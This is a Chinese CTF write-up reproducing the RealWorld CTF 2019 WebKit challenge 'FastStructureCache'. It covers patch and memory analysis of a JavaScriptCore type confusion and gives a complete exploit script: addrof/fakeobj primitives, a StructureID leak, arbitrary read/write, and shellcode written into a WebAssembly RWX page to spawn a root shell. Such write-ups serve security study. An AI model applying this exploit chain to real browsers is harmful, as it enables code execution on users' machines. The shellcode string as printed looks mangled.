学习 Webkit 的漏洞利用，19年realworld ctf final 出了一道 webkit 的题目 FastStructCache, 这里记录一下复现的过程。
完整的漏洞利用链需要逃逸webkit的沙箱，我手上木有mac，虚拟机装mac测试又是各种的问题，各种倒腾之后放弃了后半部的沙箱逃逸的利用，暂时只做了前面 jsc 部分的利用分析，等什么时候搞台mac之后回过头来看 🙁
环境配置
题目的原始文件可以从这里 下载，复现的环境是在 ubuntu 1804 下，
webkit 版本是 commit 5ed80f740ac7b67ca9ddc43aae401bacc685c5e4, 下载源码之后打上对应的patch然后编译出 jsc 就行了。但是我编译 debug 版本的时候跑不起来，会提示structureID 错误之类的，编译成Release版本就没有问题。调试用的 gdb
我自己复现用到的文件都放在了这里, 包括存在漏洞和没有漏洞的两个版本，主要是方便自己运行比较。
漏洞分析
patch 分析
好的，我们看看给出的patch, 题目在Source/JavaScriptCore/runtime 下新创建了两个文件FastStructureCache.cpp和FastStructureCache, 添加了一个名为FastStructureCache 的类
--- /dev/null
+++ b/Source/JavaScriptCore/runtime/FastStructureCache.cpp
@@ -0,0 +1,10 @@
+#include "FastStructureCache.h"
+
+namespace JSC {
+
+FastStructureCache::FastStructureCache(VM& vm, Structure* structure)
+ : JSNonFinalObject(vm, structure)
+{
+}
+
+}
这个类只有一个createStructureFastPath 方法, 初始化的时候会创建fastCacheSizeMax == 16 个 Structure 对象，保存在fastCacheStructure 里面，后面每次调用createStructureFastPath 直接就从这个cache 里面拿一个，如果拿完了的话就用Structure::create 新创建一个。
--- /dev/null
+++ b/Source/JavaScriptCore/runtime/FastStructureCache.h
//...
+class FastStructureCache final : public JSNonFinalObject {
+public:
+ using Base = JSNonFinalObject;
+ static Structure** fastCacheStructure;
+ static uint64_t fastCacheSizeMax;
+ static uint64_t fastCacheSizeUsed;
+
+ static Structure* createStructureFastPath(VM& vm, JSGlobalObject* globalObject, JSValue prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo)
+ { // 初始化 --> fastCacheSizeMax == 16
+ if (fastCacheStructure == NULL) {
+ fastCacheStructure = new Structure*[fastCacheSizeMax];
+ uint64_t idx = 0;
+ while (idx < fastCacheSizeMax) {
+ // Later, we will set the correct globalObject and prototype
+ fastCacheStructure[idx] = Structure::create(vm, globalObject, prototype, typeInfo, classInfo);
+ idx++;
+ }
+ }
+ if (fastCacheSizeUsed < fastCacheSizeMax) {
+ Structure* return_value = fastCacheStructure[fastCacheSizeUsed];
+ // set the correct global object and prototype
+ return_value->setPrototypeWithoutTransition(vm, prototype);
+ return_value->setGlobalObject(vm, globalObject);
+ fastCacheSizeUsed += 1;
+ return return_value;
+ }
+ return Structure::create(vm, globalObject, prototype, typeInfo, classInfo);
+ }
+
+protected:
+ FastStructureCache(VM&, Structure* structure);
+};
RegExpObject 和RegExpPrototype 两个对象createStructure 都换成了用FastStructureCache::createStructureFastPath 来
--- a/Source/JavaScriptCore/runtime/RegExpObject.h
+++ b/Source/JavaScriptCore/runtime/RegExpObject.h
//...
class RegExpObject final : public JSNonFinalObject {
//...
static Structure* createStructure(VM& vm, JSGlobalObject* globalObject, JSValue prototype)
{
- return Structure::create(vm, globalObject, prototype, TypeInfo(RegExpObjectType, StructureFlags), info());
+ return FastStructureCache::createStructureFastPath(vm, globalObject, prototype, TypeInfo(RegExpObjectType, StructureFlags), info());
}
//........................................................................................
--- a/Source/JavaScriptCore/runtime/RegExpPrototype.cpp
+++ b/Source/JavaScriptCore/runtime/RegExpPrototype.cpp
+Structure** FastStructureCache::fastCacheStructure = NULL;
+uint64_t FastStructureCache::fastCacheSizeMax = 16;
+uint64_t FastStructureCache::fastCacheSizeUsed = 0;
//........................................................................................
--- a/Source/JavaScriptCore/runtime/RegExpPrototype.h
+++ b/Source/JavaScriptCore/runtime/RegExpPrototype.h
static Structure* createStructure(VM& vm, JSGlobalObject* globalObject, JSValue prototype)
{
- return Structure::create(vm, globalObject, prototype, TypeInfo(ObjectType, StructureFlags), info());
+ return FastStructureCache::createStructureFastPath(vm, globalObject, prototype, TypeInfo(ObjectType, StructureFlags), info());
}
总的来说就是预先分配了16个 Structure 对象，RegExpPrototype 和 RegExpObject 要创建的时候可以从里面拿。
漏洞分析
漏洞就发生在FastStructureCache::createStructureFastPath 的实现上啦，在获取Structure 对象的时候, 直接用setPrototypeWithoutTransition 设置prototype
return_value->setPrototypeWithoutTransition(vm, prototype);
return_value->setGlobalObject(vm, globalObject);
原版本的Structure::create 实现在Source/JavaScriptCore/runtime/StructureInlines.h#L39 上
inline Structure* Structure::create(VM& vm, JSGlobalObject* globalObject, JSValue prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingModeIncludingHistory, unsigned inlineCapacity)
{
ASSERT(vm.structureStructure);
ASSERT(classInfo);
if (auto* object = prototype.getObject()) {
ASSERT(!object->anyObjectInChainMayInterceptIndexedAccesses(vm) || hasSlowPutArrayStorage(indexingModeIncludingHistory) || !hasIndexedProperties(indexingModeIncludingHistory));
object->didBecomePrototype();
}
Structure* structure = new (NotNull, allocateCell<Structure>(vm.heap)) Structure(vm, globalObject, prototype, typeInfo, classInfo, indexingModeIncludingHistory, inlineCapacity);
structure->finishCreation(vm);
return structure;
}
在创建的时候会检查传进来的 prototype 是不是一个对象，如果是的话，需要调用didBecomePrototype 给这个对象设置一个flags，表示它已经是某个对象的prototype 了，如a=[1.1] ; b = [1.1]; ，a.__proto__ = b 的时候， b 就会调用didBecomePrototype ， 它的实现如下:
//.. Source/JavaScriptCore/runtime/JSObjectInlines.h
inline void JSObject::didBecomePrototype()
{
setPerCellBit(true);
}
// Source/JavaScriptCore/runtime/JSCellInlines.h
inline void JSCell::setPerCellBit(bool value)
{
if (value == perCellBit())
return;
if (value)
m_flags |= static_cast<TypeInfo::InlineTypeFlags>(TypeInfoPerCellBit);
else
m_flags &= ~static_cast<TypeInfo::InlineTypeFlags>(TypeInfoPerCellBit);
}
// Source/JavaScriptCore/runtime/JSTypeInfo.h
static constexpr unsigned TypeInfoPerCellBit = 1 << 7;
m_flags 是 JSCell 的 倒数第二个byte, 1<<7 = 0x80 如下面的0x0180170000001715 倒数第二个 byte 就是 0x80， 表示它可能是某个对象的prototype, 0x01001700000009e3 没有设置就不是啦。
0x7fffb26d8020: 0x01001700000009e3 0x00007fe0197f0208
0x7fffb26d8030: 0x0180170000001715 0x00007fe0197fc5e8
FastStructureCache 初始化的时候都是使用的同一个prototype 来创建Stucture 对象， 后面要用的时候也是直接用setPrototypeWithoutTransition 来设置，并检查调用didBecomePrototype 的过程，所以假如还是一样a=[1.1] ; b = [1.1]; ，a.__proto__ = b ， 执行结束之后 b JSCell 的 m_flags 并不会|0x80, 后续运行就可能会打破一些假设。
RegExp Structure 创建过程
在看实际的利用之前，我们先看看 RegExpObject 的 Structure 的创建过程，具体的细节我还不是十分的清楚，只能记录一些自己觉得比较重要的点。
找一下RegExpObject::createStructure 和RegExpPrototype::createStructure 的调用点，发现他们只在Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L709 调用过
% grep -iR 'RegExpObject::create' *
JSGlobalObject.cpp: m_regExpStructure.set(vm, this, RegExpObject::createStructure(vm, this, m_regExpPrototype.get()));
RegExpConstructor.cpp: return RegExpObject::create(vm, structure, regExp);
RegExpConstructor.cpp: return RegExpObject::create(vm, structure, regExp);
% grep -iR 'RegExpPrototype::create' *
JSGlobalObject.cpp: m_regExpPrototype.set(vm, this, RegExpPrototype::create(vm, this, RegExpPrototype::createStructure(vm, this, m_objectPrototype.get())));
%
在JSGlobalObject::init 初始化的时候，首先是调用RegExpPrototype::createStructure 这个时候FastStructureCache 完成初始化, 并返回fastCacheStructure[0], 保存在 m_regExpPrototype。 接着调用RegExpObject::createStructure, 执行完会返回fastCacheStructure[1]保存在 m_regExpStructure, 传入的prototype 参数是前面创建的m_regExpPrototype, create 完成之后， 并不会给它的prototype 设置setPerCellBit(true), 虽然它已经是RegExpObject 的prototype 。
void JSGlobalObject::init(VM& vm){
m_objectPrototype.get()->didBecomePrototype();
//.....
m_regExpPrototype.set(vm, this, RegExpPrototype::create(vm, this, RegExpPrototype::createStructure(vm, this, m_objectPrototype.get())));
m_regExpStructure.set(vm, this, RegExpObject::createStructure(vm, this, m_regExpPrototype.get()));
m_regExpMatchesArrayStructure.set(vm, this, createRegExpMatchesArrayStructure(vm, this));
}
我们具体调试看看, 在FastStructureCache::createStructureFastPath 下个断点，跟一下内存
b FastStructureCache::createStructureFastPath
找到 FastCacheStructure 保存的地方，它是在 heap 内存上, 创建了 16 个 Structure 对象
pwndbg> vmmap 0x5555555a6960
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555594000 0x5555555b5000 rw-p 21000 0 [heap]
pwndbg> x/20gx 0x5555555a6960
0x5555555a6960: 0x00007fffb26f2060 0x00007fffb26f20d0
0x5555555a6970: 0x00007fffb26f2140 0x00007fffb26f21b0
0x5555555a6980: 0x00007fffb26f2220 0x00007fffb26f2290
0x5555555a6990: 0x00007fffb26f2300 0x00007fffb26f2370
0x5555555a69a0: 0x00007fffb26f23e0 0x00007fffb26f2450
0x5555555a69b0: 0x00007fffb26f24c0 0x00007fffb26f2530
0x5555555a69c0: 0x00007fffb26f25a0 0x00007fffb26f2610
0x5555555a69d0: 0x00007fffb26f2680 0x00007fffb26f26f0
0x5555555a69e0: 0x0000000000000000 0x000000000000e621
0x5555555a69f0: 0x0000000000000000 0x0000000000000000
第一次调用RegExpPrototype::createStructure , 会拿到第一个Structure, 也就是0x00007fffb26f2060 这个地址, 每个变量对应的位置可以看看Source/JavaScriptCore/runtime/Structure.h
pwndbg> x/20gx 0x00007fffb26f2060
0x7fffb26f2060: 0x0100000000002e74 0x0100170000007a64
//m_globalObject
0x7fffb26f2070: 0x0000001c00000000 0x00007fffb26e0000
//m_prototype
0x7fffb26f2080: 0x00007fffb26d8000 0x0000000000000000
0x7fffb26f2090: 0x0000000000000000 0x0000000000000000
// m_classInfo
0x7fffb26f20a0: 0x00007ffff7d95b80 0x0000000000000001
0x7fffb26f20b0: 0x00007fffb26cc060 0x0000000000000003
0x7fffb26f20c0: 0x243e606800000074 0x0000000000000000
0x7fffb26f20d0: 0x0100000000002e74 0x0100170000007baa
创建的时候传递给RegExpPrototype 的prototype 是m_objectPrototype, 它默认是设置了TypeInfoPerCellBit 的
pwndbg> x/20gx 0x00007fffb26d8000
0x7fffb26d8000: 0x01801700000068d5 0x00007fe00dcf4088
0x7fffb26d8010: 0x0188240100007056 0x00007fe00dcec208
然后是RegExpObject::createStructure ， 它会拿到第二个Structure
pwndbg> x/20gx 0x00007fffb26f20d0
0x7fffb26f20d0: 0x0100000000002e74 0x0100170000007baa
//m_globalObject
0x7fffb26f20e0: 0x0000002000000000 0x00007fffb26e0000
//m_prototype
0x7fffb26f20f0: 0x00007fffb26d8020 0x0000000000000000
0x7fffb26f2100: 0x0000000000000000 0x0000000000000000
//m_classInfo
0x7fffb26f2110: 0x00007ffff7d95b80 0x0000000000000001
0x7fffb26f2120: 0x0000000000000000 0x0000000000000003
0x7fffb26f2130: 0x00000000ffffffff 0x0000000000000000
0x7fffb26f2140: 0x0100000000002e74 0x0100170000007c6e
0x7fffb26f2150: 0x0000002000000000 0x00007fffb26e0000
看一下它的prototype 地址0x00007fffb26d8020 ， 和我们分析的一样，它并没有设置TypeInfoPerCellBit
pwndbg> x/20gx 0x00007fffb26d8020
0x7fffb26d8020: 0x0100170000007a64 0x00007fe00dcf0208
0x7fffb26d8030: 0x0180170000008b3f 0x00007fe00dcfc5e8
后续创建RegExp 对象的时候都是使用一开始创建的这个Structure(0x7fffb26f20d0), 也就是FastCacheStructure[1], 其他的貌似不会用到，我也木有找到可以重新调用createStructure 的点，但是当前得到的信息已经足够了，我们继续看看怎么样利用
>>> a=new RegExp()
/(?:)/
>>> describe(a)
Object: 0x7fffb26e8100 with butterfly (nil) (Structure 0x7fffb26f20d0:[Object, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 53331
漏洞利用
18年的时候lokihardt 提交了一个Proxy 对象相关的洞，里面提到的一个漏洞利用的思路可以用到这道题目上面来。
jsc 的native对象不允许在prototype 上设置Proxy ， 例如有一个对象a= [1.1,2.2], 然后执行a.__proto__=new Proxy({},{}), 这时候会调用JSObject::setPrototypeDirect 函数
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
ASSERT(prototype);
// prototype == new Proxy({},{})
if (prototype.isObject())
prototype.asCell()->didBecomePrototype();
if (structure(vm)->hasMonoProto()) {
DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
setStructure(vm, newStructure);
} else
putDirect(vm, knownPolyProtoOffset, prototype);
if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
return;
if (mayBePrototype()) {
structure(vm)->globalObject()->haveABadTime(vm);
return;
}
if (!hasIndexedProperties(indexingType()))
return;
if (shouldUseSlowPut(indexingType()))
return;
switchToSlowPutArrayStorage(vm);
}
Proxy 对象会设置TypeInfoPerCellBit, 接着后面mayBePrototype() 会判断当前JSObject 是不是一个prototype ， 例如a.__proto__.__proto__ = new Proxy({}, {}), 是的话会调用haveABadTime(), 具体实现在Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L1574 上, 它会找出对象的所有依赖，然后switchToSlowPutArrayStorage 都转换成ArrayWithSlowPutArrayStorage 类型
>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff84c8e4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 22114
>>> a.__proto__=new Proxy({},{})
[object Object]
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff84c8f8348 (Structure 0x7fffb26b0850:[Array, {}, ArrayWithSlowPutArrayStorage, Proto:0x7ffff2ac7f68, Leaf]), StructureID: 10472
>>>
结合我们前面的分析RegExpPrototype 并没有设置TypeInfoPerCellBit, 这样我们就可以在native 对象的prototype 创建一个Proxy 对象而不会触发转换成ArrayWithSlowPutArrayStorage 类型， 在有漏洞和没有漏洞版本的 jsc 的测试结果如下
无漏洞版本
>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179e4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 39579
>>> reg = new RegExp()
/(?:)/
>>> describe(reg)
Object: 0x7fffb26e8120 with butterfly (nil) (Structure 0x7fffb26f20d0:[RegExp, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 41496
>>> a.__proto__=reg
/(?:)/
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179e4008 (Structure 0x7fffb26f3e20:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 59375
>>> reg.__proto__.__proto__ = new Proxy({},{})
[object Object]
// 有依赖关系的 a 会被转换成 ArrayWithSlowPutArrayStorage 类型
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179fbe88 (Structure 0x7fffb26a7e20:[Array, {}, ArrayWithSlowPutArrayStorage, Proto:0x7fffb26e8120, Leaf]), StructureID: 61156
>>>
漏洞版本
>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 25564
>>> reg = new RegExp()
/(?:)/
>>> describe(reg)
Object: 0x7fffb26e8120 with butterfly (nil) (Structure 0x7fffb26f20d0:[Object, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 27086
>>> a.__proto__=reg
/(?:)/
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>> reg.__proto__.__proto__ = new Proxy({},{})
[object Object]
// 并没有转换成 ArrayWithSlowPutArrayStorage
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>>
在 dfg 中，当调用has 函数， 也就是0 in a 这样的时候，会进入case HasIndexedProperty, 代码在Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3842
case HasIndexedProperty: {
ArrayMode mode = node->arrayMode();
switch (mode.type()) {
case Array::Int32:
case Array::Double:
case Array::Contiguous:
case Array::ArrayStorage: {
break;
}
default: {
clobberWorld();
break;
}
}
setNonCellTypeForNode(node, SpecBoolean);
break;
}
对于不是Int32, Double, Contiguous, ArrayStorage 的对象，如前面的ArrayWithSlowPutArrayStorage 类型，会有clobberWorld 来检查对象的转换，假如类似下面的代码，在has 函数里把b[0] 改成了一个对象，进入 dfg 之后因为之前的漏洞a 仍被认为是ArrayWithDouble 类型，不会调用clobberWorld, 然后 jsc 后面就会把 b[0] 当做一个double 类型来处理， 于是就有了地址泄露，同样的，我们也可以它来构造fakeobj
a= [1.1,2.2];
reg = new RegExp();
a.__proto__ = reg;
b = [1.1,2.2];
reg.__proto__.__proto__ = new Proxy({}, {
has() {
b[0] = {};
return true;
}
});
//... --> in dfg
delete a[0];
let tmp = 0 in a;
addrof/fakeobj 构造
根据前面的分析，其实addrof 和 fakeobj 的构造思路已经有了，就是借助dfg 的时候的has函数形成一个类型混淆， 参考官方writeup 给出的 poc， 下面是我的实现
let arrays = [];
let regexp = new RegExp();
let leakme = [{}];
let jit_mode = 0;
var global_arr = [1.1, 2.2];
const MAX_ARRAYS = 100;
for (let i = 0; i < MAX_ARRAYS; i++) {
arrays.push([1.1, 2.2]);
}
for (let i = 0; i < MAX_ARRAYS; i++) {
arrays[i].__proto__ = regexp;
}
regexp.__proto__.__proto__ = new Proxy({}, {
has() {
if (jit_mode === 0) {
global_arr[0] = leakme[0];
}
else if (jit_mode === 1) {
global_arr[1] = {};
}
return true;
}
});
首先创建100 个ArrayWithDouble 类型的对象，其prototype 都设置成regexp, 然后是 addrof 的实现
function addrof(obj){
function leak_opt(arr, arr2) {
let tmp = 0 in arr2;
return [tmp, arr[0]];
}
jit_mode = 0;
global_arr=[1.1,2.2];
leakme[0]= obj;
let arr = arrays.pop();
for (let i = 0; i < 10000; i++) {
leak_opt(global_arr, arr);
}
delete arr[0];
return f2i(leak_opt(global_arr,arr)[1])
}
leak_opt 运行10000 次让它进入dfg, 传入前面创建的ArrayWithDouble 对象，delete arr[0] ， 然后执行tmp = 0 in arr2; 的时候就会遍历arr 的prototype，然后调用到regexp 的 Proxy 对象，leakme[0] = obj , obj 是要泄露地址的对象，进入dfg 之后会执行global_arr[0] = leakme[0]; , 因为没有检查类型转换，所以可以直接从global_arr[0] 中读取出对象的地址。
fakeobj 的实现也是类似
function fakeobj(addr){
function fake_opt(arr,arr2,fake_addr){
let tmp = 0 in arr2;
arr[1] = fakeme;
return tmp;
}
jit_mode = 1;
global_arr = [1.1,2.2];
let fakeme = i2f(addr);
let arr = arrays.pop();
for(let i=0;i<10000;i++){
fake_opt(global_arr,arr,fakeme);
}
delete arr[0];
fake_opt(global_arr,arr,fakeme);
return global_arr[1];
}
传入一个地址，然后让fake_opt 进入dfg, dfg 里global_arr[1] 会被认为是一个对象，改成传入的地址之后就可以伪造对象啦。
StructureID randomize 绕过
addrof 和 fakeobj 构造完成之后，后续的利用基本上就都是套路了，网上找到很多利用代码，基本上就是伪造ArrayWithDouble 对象，然后改butterfly 到 任意地址读写。伪造ArrayWithDouble 对象需要一个可用的 StructureID, 之前的做法是喷一堆的ArrayWithDouble 对象，然后随机拿一个，刚好这个id 是可用的拿就完事了。
题目所用的webkit 版本加上了StructureID的7-bit entropy , 简单来说就是 原先的StructureID 加上了 7个bit 的随机数，跟ASLR 类似，像前面运行的时候
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>>
StructureID 是一个很大的数46253 == 0xb4ad , 最后七个 bit 是随机生成的， 这样要找可用的 id就变得更加的困难，但是1<< 7 == 128, 1/128 这个概率也不算很低，我们同样可以喷一堆的 ArrayWithDouble 对象，然后拿一个重复运行总会有命中的时候。
Blackhat EU 2019 上阿里的@ThomasKing2014 也讲了一个利用内置函数泄露StructureID 的方法
原理基本上就是并不是所有的内置函数都会用到 StructureID, 我们可以伪造这些函数用到的对象，控制它的执行流程。具体的实现如下，Function.prototype.toString.call 会打印出函数的源码， 伪造一个Function 对象，然后在获取函数名称的时候(function->name(vm))会找unlinked_function_executable.m_identifier, 我们把它指向了container+0x10 也就是我们伪造的function object, 它会在container.btfly 上获取函数名对应的字符串， 把它指向一个ArrayWithDouble 对象我们就可以泄露出它的StructureID 啦
var arr_leak = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
function leakid(){
var unlinked_function_executable = {
m_isBuitinFunction: i2f(0xdeadbeef),
pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
m_identifier: {},
};
var fake_function_executable = {
pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
m_executable: unlinked_function_executable,
};
var container = {
jscell: i2f(0x00001a0000000000),
btfly: {},
pad: 0,
m_functionExecutable: fake_function_executable,
};
var fake_addr = addrof(container)+0x10;
fake_o = fakeobj(fake_addr);
unlinked_function_executable.m_identifier = fake_o;
container.btfly = arr_leak;
var name_str = Function.prototype.toString.call(fake_o);
return name_str.charCodeAt(9);
}
任意地址读写 -> 写wasm getshell
有了可用的StructureID 之后，后面就是 搞任意地址读写，然后写 wasm 的 rwx 段getshell 。这一部分的利用代码基本上都差不多，这里不再赘述，具体参考后面完整的exp
exp
var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)
var BASE32 = 0x100000000
function f2i(f) {
f64[0] = f
return i32[0] + BASE32 * i32[1]
}
function i2f(i) {
i32[0] = i % BASE32
i32[1] = i / BASE32
return f64[0]
}
function hex(addr){
return addr.toString(16);
}
let arrays = [];
let regexp = new RegExp();
let leakme = [{}];
let jit_mode = 0;
var global_arr = [1.1, 2.2];
const MAX_ARRAYS = 100;
for (let i = 0; i < MAX_ARRAYS; i++) {
arrays.push([1.1, 2.2]);
}
for (let i = 0; i < MAX_ARRAYS; i++) {
arrays[i].__proto__ = regexp;
}
regexp.__proto__.__proto__ = new Proxy({}, {
has() {
if (jit_mode === 0) {
global_arr[0] = leakme[0];
}
else if (jit_mode === 1) {
global_arr[1] = {};
}
return true;
}
});
function addrof(obj){
function leak_opt(arr, arr2) {
let tmp = 0 in arr2;
return [tmp, arr[0]];
}
jit_mode = 0;
global_arr=[1.1,2.2];
leakme[0]= obj;
let arr = arrays.pop();
for (let i = 0; i < 10000; i++) {
leak_opt(global_arr, arr);
}
delete arr[0];
return f2i(leak_opt(global_arr,arr)[1])
}
function fakeobj(addr){
function fake_opt(arr,arr2,fake_addr){
let tmp = 0 in arr2;
arr[1] = fakeme;
return tmp;
}
jit_mode = 1;
global_arr = [1.1,2.2];
let fakeme = i2f(addr);
let arr = arrays.pop();
for(let i=0;i<10000;i++){
fake_opt(global_arr,arr,fakeme);
}
delete arr[0];
fake_opt(global_arr,arr,fakeme);
return global_arr[1];
}
let a=[13.37,13.37];
a[0]={};
print(addrof(a).toString(16))
var arr_leak = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
function leakid(){
var unlinked_function_executable = {
m_isBuitinFunction: i2f(0xdeadbeef),
pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
m_identifier: {},
};
var fake_function_executable = {
pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
m_executable: unlinked_function_executable,
};
var container = {
jscell: i2f(0x00001a0000000000),
btfly: {},
pad: 0,
m_functionExecutable: fake_function_executable,
};
var fake_addr = addrof(container)+0x10;
fake_o = fakeobj(fake_addr);
unlinked_function_executable.m_identifier = fake_o;
container.btfly = arr_leak;
var name_str = Function.prototype.toString.call(fake_o);
return name_str.charCodeAt(9);
}
var victim=[13.37];
victim[0]=13.37;
victim['prop']=13.37;
victim['prop1']=13.37;
var id = leakid();
i32[0]=id;
i32[1]=0x01082307 - 0x20000;
var container={
JSCell: f64[0],
butterfly: victim,
};
container_addr = addrof(container);
hax = fakeobj(container_addr+0x10)
print(describe(container))
var unboxed = [1.1];
unboxed[0]=3.3;
var boxed = [{}];
print('-----')
print(describe(unboxed))
print(describe(boxed))
print('-----')
hax[1] = i2f(addrof(unboxed));
var shared = victim[1];
hax[1] = i2f(addrof(boxed))
victim[1] = shared;
print(describe(unboxed))
print(describe(boxed))
var stage2={
addrof: function(obj){
boxed[0]=obj;
return f2i(unboxed[0])
},
fakeobj: function(addr){
unboxed[0]=i2f(addr)
return boxed[0]
},
read64:function(addr){
hax[1]=i2f(addr+0x10)
return this.addrof(victim.prop)
},
write64:function(addr,data){
hax[1]=i2f(addr+0x10)
victim.prop = this.fakeobj(data)
},
write: function(addr, shellcode) {
var theAddr = addr;
for(var i=0;i<shellcode.length;i++){
this.write64(addr+i,shellcode[i].charCodeAt())
}
},
pwn:function(){
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var addr_f = this.addrof(f);
var addr_p = this.read64(addr_f + 0x48);
var addr_shellcode = this.read64(addr_p);
print(hex(addr_f))
print(hex(addr_shellcode))
shellcode = "j;Xx99RHxbb//bin/shST_RWT^x0fx05"
this.write(addr_shellcode, shellcode);
f();
},
};
stage2.pwn()
运行效果
运行效果如下
# ./jsc --useConcurrentJIT=false ./exp.js
7fffb26d8810
Object: 0x7fffb26e81e0 with butterfly (nil) (Structure 0x7fffb26709a0:[Object, {JSCell:0, butterfly:1}, NonArray, Proto:0x7fffb26d8000, Leaf]), StructureID: 38722
-----
Object: 0x7fffb261be40 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010]), StructureID: 31151
Object: 0x7fffb261be50 with butterfly 0x7fe01c1e0f48 (Structure 0x7fffb26f1dc0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb26d8010]), StructureID: 31267
-----
Object: 0x7fffb261be40 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010]), StructureID: 31151
Object: 0x7fffb261be50 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1dc0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb26d8010]), StructureID: 31267
7ffff2ad6bc8
7fffb2a05c00
# id
uid=0(root) gid=0(root) groups=0(root)
#
小结
jsc 层基本上就是把lokihardt 的CVE-2018-4438 复现了一遍，后半部分沙箱逃逸也是造了个洞，木有办法复现有点可惜 :(，具体可以参考官方的writeup
reference
https://zhuanlan.zhihu.com/p/96069221
https://github.com/vngkv123/aSiagaming/tree/master/Safari-JSC-FastStructureCache
https://github.com/5lipper/ctf/tree/master/rwctf19-final/FastStructureCache
https://bugs.chromium.org/p/project-zero/issues/detail?id=1649
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